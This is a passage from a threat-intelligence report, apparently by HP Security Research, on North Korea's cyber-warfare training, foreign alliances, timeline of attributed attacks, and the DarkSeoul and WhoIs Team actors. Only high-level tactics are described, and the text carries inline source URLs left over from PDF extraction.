http://www.wnd.com/2014/04/dhs-study-north-korea-capable-of-emp-attack-on-u-s/ http://www.extremetech.com/extreme/170563-north-korea-emp http://38north.org/2014/07/jbermudez070114/?utm_source=feedly&utm_reader=feedly&utm_medium=rss&utm_campaign=jbermudez070114 http://www.popsci.com/blog-network/eastern-arsenal/north-koreas-new-drones-are-chinese-which-opens-new-mystery http://www.scmp.com/news/china-insider/article/1494207/north-korean-drones-not-theirs-says-chinese-retailer Figure 22 A drone attributed to North Korea. 227 Stressing the importance of the regime s electronic warfare capabilities, in 1999 former regime leader Kim Jong Il said The basic key to victory in modern warfare is to do well in electronic warfare. 228 Since the regime s advanced technology lags behind that of South Korea and the U.S., its capability to disrupt the communications of these perceived adversaries is a vital asymmetric capability.229 Training cyber warriors North Korea utilizes primary and secondary education and the university system to train its cyber warfare operators. According to reports by defectors, the regime seeks out children who show mathematical talent and sends them through rigorous advanced training.230 A vintage North Korean animation stresses the importance of mathematics in North Korean education. The short film follows a young boy as he does his geometry homework. The frustrated boy begins to daydream then has visions of going to war with the U.S. and needing geometry to effectively calculate missile trajectory during the battle.231 http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH5.pdf http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://theweek.com/article/index/255243/how-to-kill-americans-with-geometry-a-north-korean-propaganda-film-for-kids Figure 23 A screenshot from the North Korean animation depicting geometry as a necessary skill for battle.232 Science and technology students are expected to learn foreign languages, which may include Chinese, Japanese, and English.233 Student emails, chats, and web browsing activities are heavily monitored.234 Around age twelve or thirteen, chosen students are enrolled in accelerated computer courses at First and Second Geumseong Senior-Middle Schools. https://www.youtube.com/watch?v=ujtp-70zQME https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html http://www.thestar.com/news/world/2014/02/23/north_korea_where_the_internet_has_just_5500_sites.html# Figure 24 North Korean students training for cyber war.235 The successful students are then sent to Kim Il-sung University, Kim Chaek University of Technology,236 or the Command Automation University, traditionally known as Mirim University. Kim Il-sung University s computer center was started in 1985. Its computer courses have a heavy programming element. The university reportedly developed the Intelligent Locker hard disc protection program, Worluf Antivirus, SIMNA (simulation and system analysis program), a war games program, a hepatitis diagnosis and prescription system, and a C++ program development tool called FC 2.0.237 Kim Il-sung University also has programs focusing on nuclear research.238 Kim Chaek University of Technology was established in 1948. In the late 1990s, it began to restructure its computer-focused courses to reflect more modern technologies. As of 2002, the university had three colleges focusing on computer science, information science and technology, and machine science. Software developed by the university includes Computer Fax and SGVision, an image-reprocessing program used for steganography.239 Students and instructors must submit a formal request for permission in order to use the Internet for research.240 http://www.courierpress.com/news/2013/apr/19/young-north-koreans-train-seek-revenge-us/ http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.nti.org/facilities/789/ http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.theguardian.com/world/2013/jan/08/north-korean-google-chief-search The Command Automation University periodically chooses around 100 students for an intensive five-year course prior to their assignment to serve in cyber intelligence and cyber warfare capacities.241 Programs at the Command Automation University include command automation, computers, programming, automated reconnaissance, and electronic warfare.242 Other students attend a two-year accelerated university program, then study abroad in Russia or China before they are assigned to a cyber-operator role.243 The elite cyber operators are given special incentives. For example, parents of students graduating from the cyber program with top scores are given the opportunity to live in Pyongyang; and married cyber operators are given housing, a food allowance, and a stipend if operating overseas. Due to the nature of their profession, these cyber elite are some of the only North Koreans allowed to access the outside Internet.244 Important political and military ties While this report focuses on North Korea s cyber warfare capabilities, these capabilities cannot be fully separated from the implications of partnerships with countries known to deal in illegal weapons trade with the regime. Now that cyberspace has become a legitimate arena for warfare, these nations are also potential allies in the cyber realm. For this reason, the regime s key political and military relationships are explored below. China North Korea has a longstanding historical relationship with China. During the Korean War (1950- 1953), China allied with North Korea s Communist forces. China has also provided ongoing political and economic support to the regime s leadership and is a primary trade partner. North Korea is economically dependent on China. North Korea gets an estimated 90 percent of its energy imports, 80 percent of its consumer goods, and 45 percent of its food supply from China. This relationship is prudent in the event of a military conflict, China can strategically use North Korea as a buffer zone between itself and South Korea, where many U.S. military personnel are stationed. Chinese aid to North Korea also deters the likelihood that the regime will collapse, resulting in internal destabilization that could catalyze a U.S.-China conflict.245 North Korea relies heavily on China for technological resources. As noted above, North Korea relies on China s Unicom for Internet access.246 Additionally, the regime sends some of its cyber warriors to train in China247 and stations a portion of its Unit 121 personnel in Shenyang.248 Some of North Korea s official websites are hosted in China, 249 and KCC has a branch office there.250 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.cfr.org/china/china-north-korea-relationship/p11097#p1 https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ http://www.naenara.com.kp/en/kcc/ North Korea also relies on China to provide much of its network hardware, including servers and routers.251 Russia North Korea has a long history of ties to Russia. The former Soviet Union was the major sponsor of the North Korean state and a major trading partner. Following the dissolution of the Soviet Union, aid to North Korea was halted and trade diminished significantly. This chain of events contributed to North Korea s eventual economic collapse, as it could not survive without aid.252 North Korea currently has a collaborative relationship with Russia in the cyber realm. The regime CSTIA relies on Russia as one of several sources for technical data.253 North Korea also sends some of its cyber warriors to train in Russia,254 and the regime reportedly acquired its EMP technology from there.255 Political ties between Russia and North Korea have become stronger in recent months. In 2014, potentially as a result of the U.S. response to the Russian-Ukranian conflict, Russia began to strengthen ties with North Korea. Negotiations reportedly included promises of trade and development projects. Narushige Michishita, a North Korea and Asia security expert at Japan's National Graduate Institute for Policy Studies, stated By strengthening its relationship with North Korea, Russia is trying to enhance its bargaining position vis- -vis the United States and Japan. Russia also recently forgave most of the regime s debts.257 Iran North Korea and Iran have longstanding political and military ties. North Korea supplied Iran with conventional arms during the Iran-Iraq War. Iran and North Korea reportedly collaborate closely in ballistic missile development efforts. In the past, Iran provided the North Korean regime with necessary funds and oil in exchange for missile parts and technology. 258 259 In 2009, a North Korean plane transporting 35 tons of weapons and allegedly bound for Iran was seized after making an unscheduled stop in Bangkok, Thailand. That same year, United Arab Emirates seized a ship bound for Iran that was transporting several containers of North Korean weapons, including rocket-propelled grenades and ammunition. Reportedly, the customer was a company affiliated with Iran s Islamic Revolutionary Guard Corps. 260 261 North Korea also has cyberwar ties with Iran. In 2012, North Korea and Iran signed a technology treaty to help combat common enemies in cyberspace. The treaty included provisions for cooperation in research, student exchanges, and joint laboratories. Joint projects reportedly http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://www.aljazeera.com/indepth/opinion/2014/06/n-korea-russia-step-toward-worl-201462253320470677.html https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.extremetech.com/extreme/170563-north-korea-emp http://www.theguardian.com/world/2014/jun/04/russia-bolster-ties-north-korea http://www.voanews.com/content/russia-forgives-north-korean-debt/1939188.html http://thediplomat.com/2013/10/the-iran-secret-explaining-north-koreas-rocket-success/2/ http://humanities.tau.ac.il/iranian/en/previous-reviews/10-iran-pulse-en/117-10 http://www.armscontrol.org/factsheets/dprkchron http://www.irantracker.org/foreign-relations/north-korea-iran-foreign-relations include IT information sharing, engineering, biotechnology, renewable energy, and sustainability. F-Secure s Mikko Hypponen stated, "It's highly likely that one of the reasons for this co-operation is for them to work together regarding their cyber defence and cyber offense strategies". Hypponen cited Flame malware as a possible triggering event for the creation of this treaty. Others also suspect that Iran and North Korea s mutual interest in development of nuclear weapons and the need to protect refineries against malware such as Stuxnet were driving factors in the establishment of the treaty.262 U.S. House Foreign Affairs Committee leaders assert that the treaty indicates North Korea and Iran are collaborating on a joint nuclear weapons program.263 Additionally, North Korea, in conjunction with Iran and Syria, reportedly supports both Hamas and Hezbollah in procuring kinetic weaponry and communications equipment and in establishing operational infrastructure.264 265 266 Syria North Korea has both a cyber relationship and kinetic weapons ties with Syria. KCC reportedly has a branch in Syria.267 In 2007, Israel launched an airstrike, destroying a Syrian target that was allegedly a nuclear facility under construction with North Korea s assistance. U.S. officials noted the facility was modeled on the North Korean nuclear reactor at Yongbyon.268 The North Korea-Syria relationship becomes more important in the context of both countries ties with Iran. As noted above, Iran, North Korea, and Syria jointly provide support to extremist groups Hamas and Hezbollah.269 270 271 Additionally, as we explored in HPSR Security Briefing Episode 11, Iran and Syria s military alliances extend to joint SIGINT and cyber operations.272 Cuba North Korea also has an interesting relationship with Cuba one that includes supplying weapons and apparent attempts to illegally smuggle weapons. In 2013, a North Korean cargo ship on its return voyage was stopped near the Panama Canal. The ship was carrying surface-to-air missile parts, disguised as containers of sugar. In an attempt to save face, Cuba s Ministry of Foreign Affairs stated that the cargo included "240 metric tons of obsolete defensive weapons -- two anti- aircraft missile complexes Volga and Pechora, nine missiles in parts and spares, two Mig-21 Bis and 15 motors for this type of airplane, all of it manufactured in the mid-20th century -- to be http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware http://www.voanews.com/content/ties-among-north-korea-syria-iran-a-major-security-threat/1639769.html http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ Informed+Analysis+of+North+Korea%29 http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 http://www.naenara.com.kp/en/kcc/ http://www.armscontrol.org/factsheets/dprkchron http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ Informed+Analysis+of+North+Korea%29 http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U_TiZGSwL-0 repaired and returned to Cuba." Experts said the cargo appeared to include a SNR-75 Fan Song fire-control radar system for an SA-2 missile, a Soviet-era missile system that was also used in Cuba.273 Following the incident, Fidel Castro credited former North Korean leader Kim Il-Sung for providing Cuba with weapons near the end of the Cold War. Weapons included 100,000 AK rifles and necessary ammunition.274 While no apparent cyber relationship exists between North Korea and Cuba at this time, their track record for weapons trade means the potential for future collaboration in the cyber realm cannot be discounted. Timeline of significant North Korean cyber activity 2004 North Korea gains access to 33 South Korean military wireless communication networks275 2006 The U.S. State Department is attacked by entities in the East Asia-Pacific region. The attacks coincided with State Department negotiations with North Korea regarding the regime s nuclear missile tests. (June)276 A South Korean military official states North Korea s Unit 121 has breached South Korean and U.S. military entities. (July)277 2007 North Korea tests a logic bomb (October)278 2009 North Korea states that it is fully ready for any form of high-tech war. (June)279 DarkSeoul DDoS and disk wiping malware targeting South Korean and U.S. government, media outlet, and financial websites. These attacks also coincided with U.S. Independence Day. (July)280 281 Malware for Operation Troy was likely planted.282 2010 DarkSeoul Backdoor.Prioxer detected (June) 283 Korean Central News Agency website becomes North Korea s first known direct connection to the Internet (October)284 http://www.nbcnews.com/news/other/north-korean-ship-carrying-hidden-missile-equipment-detained-after-leaving-f6C10647045 http://www.abc.net.au/news/2013-08-15/fidel-castro-cuba-north-korea-war-ussr/4887920 http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://powerofcommunity.net/poc2009/si.pdf http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ 2011 10 Days of Rain Attack - DarkSeoul DDoS and disk wiping malware against South Korean media, financial, and critical infrastructure targets (March)285 286 North Korea disrupts South Korean GPS signals (March)287 North Korea reportedly attempts DDoS attack against Incheon Airport 288 Nonghyup bank suffers DDoS attack (April)289 2012 South Korean newspaper JoongAng Ilbo attacked (June)290 DarkSeoul Downloader.Castov detected (October)291 North Korea signs treaty with Iran, agreeing to combat common enemies cyberspace292 2013 March 20 disk wiping attacks against South Korean media and financial institutions (March)293 Whois Team claims responsibility for attacking LG +U website with wiper malware and defacement, impacting South Korean media and financial institutions (March) 294 295 The New Romantic Cyber Army Team claims responsibility for the same attacks296 North Korea experiences 36-hour Internet outage. The cause was never definitively determined297 Anonymous launches #OpNorthKorea and targets North Korean websites (March)298 Anonymous allegedly hacks Uriminzokkiri and takes over its Twitter and Flickr pages 299 (April) DarkSeoul attack on South Korean financial institutions (May)300 DarkSeoul DDoS attacks against South Korean government s DNS server (June)301 Details on Kimsuky malware, which targeted South Korean think tanks, first released (September)302 2014 North Korean drones found near South Korean border (March and April)303 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6- 1226391202749 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage http://www.northkoreatech.org/2013/03/30/tango-down-more-attacks-on-dprk-websites/ http://www.washingtontimes.com/news/2013/apr/4/anonymous-hackers-bring-down-north-korean-websites/ http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ Patterns in the noise: cyber incidents attributed to North Korean actors It is interesting to note that much of North Korea s cyber activity follows a distinct pattern. Analysis of North Korean cyber activity gives insight into these patterns and also helps tie together North Korea s strategic, tactical, and operational capabilities. Strategic capabilities refer to the assets used in support of a long-term, overarching goal. Tactical capabilities refer to the methods and maneuvers actually implemented in pursuit of the strategic goal.304 Operational capabilities refer to the potential use of these capabilities.305 In 2004, in response to the annual U.S. South Korea joint military exercises, North Korea reportedly gained access to 33 South Korean military wireless communication networks.306 The next significant cyber attack attributed to North Korea was in June 2006. The U.S. State Department was attacked by entities in the East Asia-Pacific region. The attacks coincided with State Department negotiations with North Korea regarding the regime s nuclear missile tests. 307 In July 2006, North Korea s Unit 121 reportedly breached South Korean and U.S. military entities.308 This attack was concurrent with the regime s test-fire of at least one long-range missile and several medium-range missiles.309 2007 was politically tumultuous for North Korea. Following multi-national talks, the UN International Atomic Energy Agency (IAEA) ordered the shutdown of the regime s nuclear facilities in Yongbyon in July.310 Its nuclear efforts temporarily thwarted, North Korea tested a logic bomb in October 2007.311 In April 2009, North Korea ejected IAEA and U.S. nuclear compliance officials. The regime indicated refusal to comply with any UN agreements regarding nuclear weaponry and announced it would reinstate its nuclear materials production. The next month, North Korea conducted an underground nuclear test and voiced its confidence that the regime was well on its way to producing viable nuclear technology. The UN called an emergency meeting condemning the nuclear weapons test, and South Korea joined the Proliferation Security Initiative (PSI). North Korea issued a statement via KCNA calling South Korea s involvement in PSI an act of war.312 In June 2009, North Korea stated that it was fully ready for any form of high-tech war. 313 The following month, DDoS and disk wiping malware, later known as DarkSeoul, targeted South Korean and U.S. government entities, media outlets, and financial websites. The attacks coincided http://www.scholastic.com/teachers/article/strategy-and-tactics-military http://www.dau.mil/pubscats/Pages/preface.aspx http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CCMQFjAB&url=http%3A%2F%2Fwww.bbc.com%2Fnews%2Fworld- asia-pacific- 15278612&ei=fabyU6XQLsLFigLH94GIAw&usg=AFQjCNGbrzkNZJ5tz4jmLyMPsCHEHc41WA&sig2=l8FMAdbvzFxYeBBOAMWO6Q&bvm=bv.73231344,d .cGE&cad=rja http://www.armscontrol.org/factsheets/dprkchron http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.armscontrol.org/factsheets/dprkchron http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html with U.S. Independence Day.314 315 Other malware used for Operation Troy was also planted. Operation Troy would continue for several years, largely undetected.316 In early 2011, political and military tensions were high. In February, James Clapper, United States Director of National Intelligence, testified that North Korea likely had undeclared uranium enrichment facilities as part of its nuclear weapons program.317 In March 2011, South Korean media, financial, and critical infrastructure targets suffered a DDoS and disk-wiping malware attack later known as the 10 Days of Rain . U.S. and South Korean military entities were also targeted by DDoS during this attack. The attack used the DarkSeoul malware.318 North Korea also disrupted South Korean GPS signals. Additionally, North Korean actors reportedly attempted a DDoS attack against South Korea s Incheon Airport that same month.319 These incidents coincided with the annual U.S. South Korea joint military exercises.320 The following month, North Korean actors reportedly launched a DDoS attack against South Korea s Nonghyup bank.321 In 2012, an attack on South Korean Newspaper JoongAng Ilbo was attributed to North Korean actors. This attack also coincided with the timing of the annual joint U.S. South Korea military exercises.322 In September 2012, North Korea signed a cyber treaty with Iran, agreeing the two nations would collaborate to combat common enemies in cyberspace.323 The week of March 11, 2013, the U.S. and South Korea began their annual joint military exercise near the Korean Peninsula. Like clockwork, attacks attributed to North Korea and now known as the March 20 attacks targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju banks. North Korea also exhibited other hostile activity at that time. North Korea cut communication with Seoul and announced it had scrapped the 1953 armistice between the two Koreas. North Korea s foreign ministry also issued a statement that it perceived this exercise as a precursor to invasion and that the regime would respond with a strong military counteraction the situation escalated.324 That same week, the North Korean military conducted a drone attack simulation.325 On March 18, the Uriminzokkiri YouTube channel posted an anti-U.S. video entitled Firestorms Will Rain on the Headquarters of War that showed a depiction of the White House in crosshairs, followed by an explosion.326 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://powerofcommunity.net/poc2009/si.pdf http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.armscontrol.org/factsheets/dprkchron http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6- 1226391202749 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware http://www.presstv.com/detail/2013/03/20/294499/north-korea-threatens-us-over-bombers/ http://www.huffingtonpost.com/2013/03/20/north-koreas-drone_n_2914794.html https://www.youtube.com/watch?v=Dyap eCiOl9A Figure 25 Uriminzokkiri YouTube video portraying anti-U.S. sentiments. 327 In May 2013, DarkSeoul malware was used to attack several South Korean financial institutions; and in June, DarkSeoul DDoS attacks were launched against the South Korean government s DNS server. The latter took place on June 25, the anniversary of the start of the Korean War.328 As evidenced above, much of North Korea s cyber activity coincides with the annual U.S. South Korea joint military exercises. Attacks not following that pattern were typically in response to political events impacting the regime or correlated with significant dates, such as the anniversary of the start of the Korean War. The regime s strategic assets and tactical capabilities in the cyber arena seem to have evolved only slightly since 2009. Most of the attacks attributed to North Korea employ limited tactics, and their operational capability demonstrates an increase in the frequency and volume of attacks but is otherwise unimpressive to date. In June 2014, the regime demanded cancellation of the annual U.S. - South Korea joint military exercise, attempting to use participation in the upcoming Asian Games as a bargaining chip.329 The regime s demands may have had other political motivations, as they preceded the July 2014 meeting between South Korean president Park and Chinese President Xi Jinping. The meeting https://www.youtube.com/watch?v=DyapeCiOl9A http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.theguardian.com/world/2014/jun/30/north-korea-demands-cancellation-drills centered on trade and regional security issues, including the ever-present rhetoric around denuclearization of North Korea.330 Both leaders were critical of Japan s recent announcement to soften sanctions on North Korea.331 As this report headed to press, the annual U.S. South Korea joint military exercises were underway.332 DarkSeoul The most prominent North Korean threat actor group is the group responsible for the DarkSeoul malware. According to statements from the South Korean government, North Korea s Lab 110 were the actors behind the DarkSeoul malware. South Korean intelligence reports According to statements stated that Lab 110, which is affiliated with the regime s defense ministry, was from the South Korean ordered by the North Korean regime to destroy South Korean communications government, North networks.333 Although the March 20 attacks used DarkSeoul malware, it is interesting Korea s Lab 110 were the to note that two groups, WhoIs Team and New Romantic Cyber Army Team, claimed actors behind the DarkSeoul malware responsibility for the March 20 2013 attacks on South Korean media and financial attacks. institutions.334 Some of the DarkSeoul attacks corresponded with significant dates, such as U.S. Independence Day or the anniversary of the start of the Korean War. DarkSeoul attacks go beyond denial of service and sabotage. As early as 2009, the group responsible for the Dark Seoul attacks launched Operation Troy , an espionage campaign targeting the South Korean military. The operation was codenamed Troy due to the frequent use of the word Troy in the malware compile path strings.335 The malware used in these attacks sought out and exfiltrated data, based on keyword searches. While the malware was clearly intended to search for and exfiltrate certain types of data, its true impact on the targets was never revealed. 336 The March 2011 10 Days of Rain DDoS attacks on U.S. and South Korean sites have also been attributed to the actors associated with DarkSeoul.337 According to Symantec, the politically motivated attacks have required a level of intelligence, coordination, monetary support, and technical sophistication that suggests state sponsorship.338 This designation means the group can be considered an advanced persistent threat (APT). A March 20, 2013 attack attributed to the DarkSeoul actors targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju banks. The impact of the March 20 attacks included disruption of service at financial institutions and data deletion. However, the targeted entities resumed normal operations shortly thereafter.339 According to South Korean reports, the media outlets targeted corresponded with those listed by the North Korean regime in 2012 as right-wing press that manipulated South Korea s public opinion. In April 2012, the regime reportedly listed http://edition.cnn.com/2014/07/02/world/asia/south-korea-xi-visit/index.html?hpt=hp_bn7 http://mobile.nytimes.com/blogs/sinosphere/2014/07/07/q-and-a-john-delury-on-chinese-south-korean-ties/?smid=tw-share http://www.globalpost.com/dispatch/news/yonhap-news-agency/140825/n-korea-urges-un-action-against-s-korea-us-military-drill http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? http://motherboard.vice.com/blog/the-dark-seoul-hackers-were-after-south-korean-military-secrets http://blogs.mcafee.com/wp-content/uploads/2011/07/McAfee-Labs-10-Days-of-Rain-July-2011.pdf http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& those entities as attack targets.340 The malware used in the March 20, 2013 attacks were wiper malware. The malware attempted to disable AhnLab and Hauri AV antivirus products then proceeded to overwrite the master boot record (MBR). The attack was capable of wiping both Linux and Windows machines.341 McAfee found that these attacks were the culmination of the malware campaign they dubbed Operation Troy .342 A report from IssueMakersLab tied the actors responsible for the March 20, 2013 attacks to cyber attack activity occurring as early as 2007. IssueMakersLab found that these actors consistently used the same 16-digit password for file compression, the same stage 1 C2 protocol, the same collection keywords and encryption keys, and the same development path.343 According to South Korea s Korea Internet and Security Agency, the North Korean IP address 175.45.178.xx was found scanning South Korean routes the month before the attacks,344 and the same IP was reportedly logged as accessing one of the targets 13 times.345 Details of the March 20 attack also suggested possible ties to China. AlienVault suspected the Chinese exploit kit GonDad was used to spread the malware, and the Korean domains serving the malware were registered using a Chinese email address. Additionally, researchers at AhnLab in South Korea noted a Chinese IP address linked to the attacks.346 While no concrete evidence has been released that indicates Lab 110 was responsible for the DarkSeoul attacks, the responsible group s targets, TTP, and attack timing demonstrate a strong pro-North Korean sentiment. Known tactics, techniques and procedures Customized wiper malware347 DDoS Multi-staged, coordinated attacks348 Destructive payloads with politically significant trigger dates Use of politically themed strings when overwriting disk sectors Utilizing legitimate patching mechanisms to spread malware across corporate networks Encryption and obfuscation methods that have become their signature Repeated use of a specific webmail server Consistent C2 structures Antivirus disablement and evasion349 Watering hole attacks Zero-days Spearphishing350 http://english.yonhapnews.co.kr/northkorea/2013/03/21/71/0401000000AEN20130321006700315F.HTML http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 http://english.yonhapnews.co.kr/national/2013/04/11/79/0301000000AEN20130411008351320F.HTML http://www.darkreading.com/attacks-and-breaches/how-south-korea-traced-hacker-to-pyongyang/d/d-id/1109491? http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://news.sky.com/story/1108704/darkseoul-gang-behind-years-of-korea-hacking http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://www.infoworld.com/t/data-security/mcafee-uncovers-massive-cyber-espionage-campaign-against-south-korea-222245 Targets South Korean military U.S. sites Shinhan Bank Nonghyup Bank351 Jeju Bank352 Munhwa Broadcasting Corp. YTN Korea Broadcasting System353 South Korean government DNS server South Korea financial institutions WhoIs Team WhoIs Team is one of two groups that claimed responsibility for the March 20 attacks targeting South Korea. A defacement on the LG +U webpage stated that it was Hacked by WhoIs Team and that the attackers would return. The page featured three skulls.354 However, no other attacks by WhoIs Team have been observed. http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& http://www.businessweek.com/news/2013-03-20/s-dot-korea-hit-by-cyber-attack-roiling-banks-to-broadcasters http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ Figure 26 A defacement by WhoIs Team 355 Known tactics, techniques, and procedures Wiper malware356 Defacements Targets Took credit for an attack on the LG +U website. http://nakedsecurity.sophos.com/2013/03/20/south-korea-cyber-attack/ http://www.mcafee.com/sg/resources/white-papers/wp-dissecting-operation-troy.pdf Associated actors dbM4st3r d3sign3r APTM4st3r s3ll3r vacc1nm45t3r r3cycl3r Based on North Korea s affinity for disinformation and counterintelligence, we must note the distinct possibility that operatives claiming to be WhoIs Team are part of another group and that the defacement was a false flag operation meant to pin blame on RAON_ASRT. RAON_ASRT is a South Korean white hat capture the flag (CTF) team, whose members also operate under the name WhoIs .357 Figure 27 A screenshot showing that South Korea s RAON_ASRT white hat CTF team also uses the moniker WhoIs.358 RAON_ASRT (the RaonSecure Advanced Security Research Team) and its sub-teams WhoIs Team and Cpark Team359 have participated in and performed well in CTF contests such as the one hosted by DefCon. 360 In 2013, a member of RAON_ASRT was invited to Blue House, the residence of the South Korean president, to meet with president Park and discuss the security industry.361 RAON_ASRT runs the Secuinside CTF competition.362 Their parent organization 